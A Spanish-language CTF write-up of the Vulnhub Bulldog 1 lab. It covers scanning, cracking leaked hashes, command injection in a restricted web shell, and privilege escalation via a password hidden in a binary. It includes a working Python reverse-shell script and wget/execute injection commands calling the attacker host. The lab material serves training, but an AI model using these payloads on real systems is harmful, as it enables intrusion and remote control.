Nuevo reto pentest de vulnhub resuelto por el equipo de BCNSoluciona, en este caso Bulldog 1, a continuación os describimos como se ha resuelto este pentest.
Link del reto, aquí podéis ver toda la información del reto: https://www.vulnhub.com/entry/bulldog-1,211
Bulldog Industries recently had its website defaced and owned by the malicious German Shepherd Hack Team. Could this mean there are more vulnerabilities to exploit? Why don’t you find out? 🙂
This is a standard Boot-to-Root. Your only goal is to get into the root directory and see the congratulatory message, how you do it is up to you!
Difficulty: Beginner/Intermediate, if you get stuck, try to figure out all the different ways you can interact with the system. That’s my only hint 😉
El Ataque
Iniciamos el pentest con la máquina atacante con Kali Linux
10.0.2.6
Usando la herramienta netdiscover encontramos la maquina víctima.
root@kali:~# netdiscover -r 10.0.2.6/24
Usamos Nmap para escanear los servicios de la maquina victima, continuamos con el pentest.
root@kali:~# nmap -Pn -A -T4 10.0.2.7
Starting Nmap 7.60 ( https://nmap.org ) at 2017-10-19 10:53 CEST
Nmap scan report for 10.0.2.7
Host is up (0.0014s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
23/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 20:8b:fc:9e:d9:2e:28:22:6b:2e:0e:e3:72:c5:bb:52 (RSA)
| 256 cd:bd:45:d8:5c:e4:8c:b6:91:e5:39:a9:66:cb:d7:98 (ECDSA)
|_ 256 2f:ba:d5:e5:9f:a2:43:e5:3b:24:2c:10:c2:0a:da:66 (EdDSA)
80/tcp open http WSGIServer 0.1 (Python 2.7.12)
|_http-server-header: WSGIServer/0.1 Python/2.7.12
|_http-title: Bulldog Industries
8080/tcp open http WSGIServer 0.1 (Python 2.7.12)
|_http-server-header: WSGIServer/0.1 Python/2.7.12
|_http-title: Bulldog Industries
MAC Address: 08:00:27:16:1D:5F (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 1.39 ms 10.0.2.7
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.10 seconds
Vemos los puertos abiertos 23, 80 y 8080, para continuar con el pentest, vamos a usar la herramienta nikto para tener información del servidor web.
root@kali:~# nikto -h http://10.0.2.7
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.0.2.7
+ Target Hostname: 10.0.2.7
+ Target Port: 80
+ Start Time: 2017-10-19 11:15:01 (GMT2)
---------------------------------------------------------------------------
+ Server: WSGIServer/0.1 Python/2.7.12
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ OSVDB-3092: /dev/: This might be interesting...
+ ERROR: Error limit (20) reached for host, giving up. Last error: error reading HTTP response
+ Scan terminated: 16 error(s) and 3 item(s) reported on remote host
+ End Time: 2017-10-19 11:16:55 (GMT2) (114 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Nikto nos revela un directorio.Ahora pasemos nikto por el puerto 8080
+ OSVDB-3092: /dev/: This might be interesting...
root@kali:~# nikto -h http://10.0.2.7:8080
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.0.2.7
+ Target Hostname: 10.0.2.7
+ Target Port: 8080
+ Start Time: 2017-10-19 11:19:59 (GMT2)
---------------------------------------------------------------------------
+ Server: WSGIServer/0.1 Python/2.7.12
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ OSVDB-3092: /dev/: This might be interesting...
+ ERROR: Error limit (20) reached for host, giving up. Last error: invalid HTTP response
+ Scan terminated: 10 error(s) and 3 item(s) reported on remote host
+ End Time: 2017-10-19 11:21:29 (GMT2) (90 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Directorio /dev/ Vamos a verlo desde el explorador.
Mmm un enlace a una web-shell pinchemos pinchemos!!!!
Vaya nos dice que nos autentiquemos, sigamos con el emocionante pentest, veamos el código fuente de la página.
Nada interesante para nuestro pentest… Veamos el código de la página anterior.
Vaya vemos los hashes de los usuarios. Apuntemos, aunque no he encontrado ningún sitio donde logarse… de momento.
Usemos dirb a ver si suelta algo interesante…
root@kali:~# dirb http://10.0.2.7/ /usr/share/dirb/wordlists/common.txt
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Thu Oct 19 11:34:32 2017
URL_BASE: http://10.0.2.7/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.0.2.7/ ----
==> DIRECTORY: http://10.0.2.7/admin/
==> DIRECTORY: http://10.0.2.7/dev/
+ http://10.0.2.7/robots.txt (CODE:200|SIZE:1071)
---- Entering directory: http://10.0.2.7/admin/ ----
==> DIRECTORY: http://10.0.2.7/admin/auth/
==> DIRECTORY: http://10.0.2.7/admin/login/
==> DIRECTORY: http://10.0.2.7/admin/logout/
---- Entering directory: http://10.0.2.7/dev/ ----
==> DIRECTORY: http://10.0.2.7/dev/shell/
---- Entering directory: http://10.0.2.7/admin/auth/ ----
==> DIRECTORY: http://10.0.2.7/admin/auth/group/
==> DIRECTORY: http://10.0.2.7/admin/auth/user/
---- Entering directory: http://10.0.2.7/admin/login/ ----
---- Entering directory: http://10.0.2.7/admin/logout/ ----
---- Entering directory: http://10.0.2.7/dev/shell/ ----
Vaya ahora si veo algún directorio donde logarme 😛 Vayamos a /admin/
Vale un portal de autenticación… Creo que será el momento de intentar crackear los hashes. Pero antes… San Google que hable.
Database: sarah@bulldogindustries.com d8b8dd5e7f000b8dea26ef8428caf38c04466b3e bulldoglover
Back End: nick@bulldogindustries.com ddf45997a7e18a25ad5f5cf222da64814dd060d5 bulldog
Back End: ashley@bulldogindustries.com 553d917a396414ab99785694afd51df3a8a8a3e0
Front End: kevin@bulldogindustries.com 0e6ae9fe8af1cd4192865ac97ebf6bda414218a9
Front End: malik@bulldogindustries.com c6f7e34d5d08ba4a40dd5627508ccb55b425e279
Back-up Team Lead: william@bulldogindustries.com 38882f3b81f8f2bc47d9f3119155b05f954892fb
Team Lead: alan@bulldogindustries.com 6515229daf8dbdc8b89fed2e60f107433da5f2cb
Y esto es lo que me dice Google…
Database: sarah@bulldogindustries.com d8b8dd5e7f000b8dea26ef8428caf38c04466b3e bulldoglover
Back End: nick@bulldogindustries.com ddf45997a7e18a25ad5f5cf222da64814dd060d5 bulldog
Bien vamos a logarnos. User: sarah Passwd: bulldoglover
Ok no tenemos permisos sobre el sitio de administración, pero estamos logados intentemos usar la web-shell
Ok, tenemos acceso a la web -shell pero estamos limitados a estos comandos.
ifconfig
ls
echo
pwd
cat
rm
Veamos si es cierto.
Efectivamente no nos lo permite.
Bueno probaremos un command injection
ls -lrt |uname -a
¡Perfecto es vulnerable!!! Intentemos subir una reverse Shell, como siempre que puedo usare Python y dado que esto es Django con más motivo.
Arranco el servidor apache en la maquina atacante.
root@kali:~# systemctl start apache2.service
root@kali:~# systemctl status apache2.service
● apache2.service - The Apache HTTP Server
Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset: disabled)
Active: active (running) since Thu 2017-10-19 12:58:25 CEST; 7s ago
Process: 2462 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCESS)
Main PID: 2473 (apache2)
Tasks: 7 (limit: 4915)
CGroup: /system.slice/apache2.service
├─2473 /usr/sbin/apache2 -k start
├─2474 /usr/sbin/apache2 -k start
├─2475 /usr/sbin/apache2 -k start
├─2476 /usr/sbin/apache2 -k start
├─2477 /usr/sbin/apache2 -k start
├─2478 /usr/sbin/apache2 -k start
└─2479 /usr/sbin/apache2 -k start
oct 19 12:58:24 kali systemd[1]: Starting The Apache HTTP Server...
oct 19 12:58:25 kali apachectl[2462]: AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set t
oct 19 12:58:25 kali systemd[1]: Started The Apache HTTP Server.
lines 1-18/18 (END)
Creo mi script en Python llamado re.py para la reverse Shell y lo dejo en el directorio de apache.
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.0.2.6",443))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
Bien, ahora ponemos un netcat escuchando en el puerto 443.
Vamos a intentar subirlo.
ls -lrt | wget http://10.0.2.6/re.py -O re.py
Veamos si lo hemos conseguido subir.
ls -lrt
Ok, subido!! Vamos a darle permisos. sigamos pentesteando….
ls -lrt | chmod +x re.py
Veamos si tiene permisos.
ls -lrt
Perfecto, tiene permiso. Ejecutemos el script
ls -lrt | python re.py
Miremos a ver si tenemos conexión en el netcat.
Perfecto tenemos conexión con el servidor, ahora spawnear una terminal como dios manda, sigamos con el pentest,
$ python -c 'import pty;pty.spawn("/bin/bash")'
Miremos el directorio /home a ver que usuarios vemos.
django@bulldog:/home$ ls --lrt
total 8
drwxr-xr-x 5 bulldogadmin bulldogadmin 4096 Sep 21 00:45 bulldogadmin
drwxr-xr-x 5 django django 4096 Sep 21 00:45 django
django@bulldog:/home$
Mmm miremos el directorio de bulldogadmin.
django@bulldog:/home/bulldogadmin$ ls --lrt
django@bulldog:/home/bulldogadmin$
Parece vacio!!! Pero bueno probemos con el flag -a por si hay algo oculto.
django@bulldog:/home/bulldogadmin$ ls --lrta
total 40
-rw-r--r-- 1 bulldogadmin bulldogadmin 655 Aug 24 22:39 .profile
-rw-r--r-- 1 bulldogadmin bulldogadmin 3771 Aug 24 22:39 .bashrc
-rw-r--r-- 1 bulldogadmin bulldogadmin 220 Aug 24 22:39 .bash_logout
drwx------ 2 bulldogadmin bulldogadmin 4096 Aug 24 22:40 .cache
-rw-r--r-- 1 bulldogadmin bulldogadmin 0 Aug 24 22:45 .sudo_as_admin_successful
drwxr-xr-x 4 root root 4096 Aug 24 23:16 ..
-rw-rw-r-- 1 bulldogadmin bulldogadmin 217 Aug 24 23:20 .wget-hsts
-rw-rw-r-- 1 bulldogadmin bulldogadmin 66 Aug 25 03:18 .selected_editor
drwxrwxr-x 2 bulldogadmin bulldogadmin 4096 Aug 25 03:18 .nano
drwxrwxr-x 2 bulldogadmin bulldogadmin 4096 Sep 21 00:44 .hiddenadmindirectory
drwxr-xr-x 5 bulldogadmin bulldogadmin 4096 Sep 21 00:45 .
django@bulldog:/home/bulldogadmin$
Vaya!!! .hiddenadmindirectory a por el!!!
django@bulldog:/home/bulldogadmin/.hiddenadmindirectory$ llss --llrrtt
total 16
-rw-r--r-- 1 bulldogadmin bulldogadmin 8728 Aug 26 03:18 customPermissionApp
-rw-rw-r-- 1 bulldogadmin bulldogadmin 619 Sep 21 00:44 note
Hay dos archivos el primero customPermisionApp Veamos que tipo de archivo es.
django@bulldog:/home/bulldogadmin/.hiddenadmindirectory$ file customPermissionApp
ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2
Bien se trata de un ejecutable, usemos el comando strings a ver que dice.
django@bulldog:/home/bulldogadmin/.hiddenadmindirectory$ strings customPermissionApp
/lib64/ld-linux-x86-64.so.2
32S0-t
libc.so.6
puts
__stack_chk_fail
system
__libc_start_main
__gmon_start__
GLIBC_2.4
GLIBC_2.2.5
UH-H
SUPERultH
imatePASH
SWORDyouH
CANTget
dH34%(
AWAVA
AUATL
[]A\A]A^A_
Please enter a valid username to use root privileges
Usage: ./customPermissionApp <username>
sudo su root
;*3$"
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
crtstuff.c
__JCR_LIST__
deregister_tm_clones
__do_global_dtors_aux
completed.7585
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
customPermissionApp.c
__FRAME_END__
__JCR_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
puts@@GLIBC_2.2.5
_edata
__stack_chk_fail@@GLIBC_2.4
system@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
__bss_start
main
_Jv_RegisterClasses
__TMC_END__
_ITM_registerTMCloneTable
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.jcr
.dynamic
.got.plt
.data
.bss
.comment
Anda esto me llama mucho la atención…
SUPERultH
imatePASH
SWORDyouH
CANTget
A ver si lo pongo todo en horizontal y quito las H!!!
SUPERultimatePASSWORDyouCANTget
Ajaaaaa!!!! Oye de los cobardes no hay nada escrito voy a probar esto…
django@bulldog:/home/bulldogadmin/.hiddenadmindirectory$ sudo su
[sudo] password for django: SUPERultimatePASSWORDyouCANTget
root@bulldog:/home/bulldogadmin/.hiddenadmindirectory# iidd
uid=0(root) gid=0(root) groups=0(root)
root@bulldog:/home/bulldogadmin/.hiddenadmindirectory#
😊 Ya somos root. Busquemos el flag
root@bulldog:~# cat congrats.txt
Congratulations on completing this VM :D That wasn't so bad was it?
Let me know what you thought on twitter, I'm @frichette_n
As far as I know there are two ways to get root. Can you find the other one?
Perhaps the sequel will be more challenging. Until next time, I hope you enjoyed!
root@bulldog:~#
Esperamos que os haya gustado este pentest, os dejamos el link del otro reto resuelto, que también fue un pentest.
https://bcnsoluciona.com/reto-vulnhub-resuelto-pentest/
